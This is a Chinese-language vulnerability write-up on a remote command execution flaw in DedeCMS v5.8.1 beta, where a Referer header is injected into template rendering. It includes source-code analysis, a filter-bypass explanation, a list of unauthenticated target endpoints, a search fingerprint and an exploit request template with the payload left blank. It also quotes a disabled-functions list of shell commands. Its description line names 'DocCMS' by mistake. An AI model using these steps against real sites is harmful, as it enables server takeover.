# DedeCMS common.func.php 远程命令执行漏洞 ## 漏洞描述 DocCMS flink.php 文件存远程命令执行漏洞，攻击者通过漏洞可以执行任意命令 ## 漏洞影响 DedeCMS v5.81 beta 内测版 ## 网络测绘 "DedeCMS_V5.8.1" ## 漏洞复现 产品页面 ![img](/library/img/1633231738375-8b54ff36-5155-421a-aa24-4c89033cfe3a.png) 查看文件 `include/common.func.php` 的 ShowMsg方法 ![img](/library/img/1633231813053-82d63b1c-5d89-4fa1-8d04-50fefc586ced.png) ```php function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0) { if (empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if ($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if ($gourl == "") { $gourl = -1; } } $htmlhead = " \r\n\r\nDedeCMS提示信息\r\n " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
DedeCMS 提示信息！
\r\n\r\n"; $litime = ($limittime == 0 ? 1000 : $limittime); $func = ''; if ($gourl == '-1') { if ($limittime == 0) { $litime = 3000; } $gourl = "javascript:history.go(-1);"; } if ($gourl == '' || $onlymsg == 1) { $msg = ""; } else { //当网址为:close::objname 时, 关闭父框架的id=objname元素 if (preg_match('/close::/', $gourl)) { $tgobj = trim(preg_replace('/close::/', '', $gourl)); $gourl = 'javascript:;'; $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n"; } $func .= "var pgo=0; function JumpUrl(){ if(pgo==0){ location='$gourl'; pgo=1; } }\r\n"; $rmsg = $func; $rmsg .= "document.write(\"

\");\r\n"; $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n"; $rmsg .= "document.write(\""; if ($onlymsg == 0) { if ($gourl != 'javascript:;' && $gourl != '') { $rmsg .= "
如果你的浏览器没反应，请点击这里..."; $rmsg .= "
\");\r\n"; $rmsg .= "setTimeout('JumpUrl()',$litime);"; } else { $rmsg .= "
\");\r\n"; } } else { $rmsg .= "

\");\r\n"; } $msg = $htmlhead . $rmsg . $htmlfoot; } $tpl = new DedeTemplate(); $tpl->LoadString($msg); $tpl->Display(); } /** * 获取验证码的session值 * * @return string */ ``` ![img](/library/img/1633232085348-587628d9-8cd6-404e-9376-197149b94d8e.png) 这里注意到 当 $gourl 变量为 -1 时调用 ShowMsg方法, 则请求参数 Referer 为用户可控参数 ![img](/library/img/1633235322584-7cd49fee-230b-4109-b082-9185450ddf8b.png) 像下看，可以发现可控的变量传入两个方法 ```php $tpl = new DedeTemplate(); $tpl->LoadString($msg); $tpl->Display(); ``` 追踪方法来到 `include/dedetemplate.class.php` 文件 ![img](/library/img/1633235467775-2462bab3-0d80-4795-9e2f-c640086838cc.png) ParseTemplate() 则是模版渲染的方法，再往下看 ```php public function Display() { global $gtmpfile; extract($GLOBALS, EXTR_SKIP); $this->WriteCache(); include $this->cacheFile; } ``` 追踪一下 `WriteCache()` 方法 ![img](/library/img/1633235811291-45805193-d5b0-4a77-8f5c-6aa028f2c5ec.png) 看 GetResult() 方法 和 CheckDisableFunctions() 方法 ```php public function GetResult() { if (!$this->isParse) { $this->ParseTemplate(); } $addset = ''; $addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>'; return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString); } public function CheckDisabledFunctions($str, &$errmsg = '') { global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite'; // 模板引擎增加disable_functions if (!defined('DEDEDISFUN')) { $tokens = token_get_all_nl($str); $disabled_functions = explode(',', $cfg_disable_funs); foreach ($tokens as $token) { if (is_array($token)) { if ($token[0] = '306' && in_array($token[1], $disabled_functions)) { $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" more...'; return false; } } } } return true; } ``` GetResult() 方法执行后返回的结果通过 CheckDisabledFunctions() 方法过滤后 经过Display() 的 `include $this->cacheFile;` ```php public function Display() { global $gtmpfile; extract($GLOBALS, EXTR_SKIP); $this->WriteCache(); include $this->cacheFile; } ``` 此时我们就可以通过控制 Referer请求头，来控制模版的渲染，绕过 CheckDisabledFunctions()方法的过滤 造成远程命令执行 ![img](/library/img/1633236858672-40917ea7-923b-41ea-aea1-755f8a8f6ad1.png) 通过正则找到受影响且无需身份认证的文件，来进行命令执行 ```php /plus/flink.php?dopost=save /plus/users_products.php?oid=1337 /plus/download.php?aid=1337 /plus/showphoto.php?aid=1337 /plus/users-do.php?fmdo=sendMail /plus/posttocar.php?id=1337 /plus/vote.php?dopost=view /plus/carbuyaction.php?do=clickout /plus/recommend.php ........ ``` ![img](/library/img/1633236356274-5f1db6df-d7e7-4373-8089-bbd1ec99bc4f.png) 这里利用没有过滤的双引号绕过 disables 禁止的函数 ![img](/library/img/1633236516310-093329a4-a727-4328-ab22-cae8b14d2023.png) 漏洞请求包 ```php GET /plus/flink.php?dopost=save HTTP/1.1 Host: Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close ``` 若有收获，就点个赞吧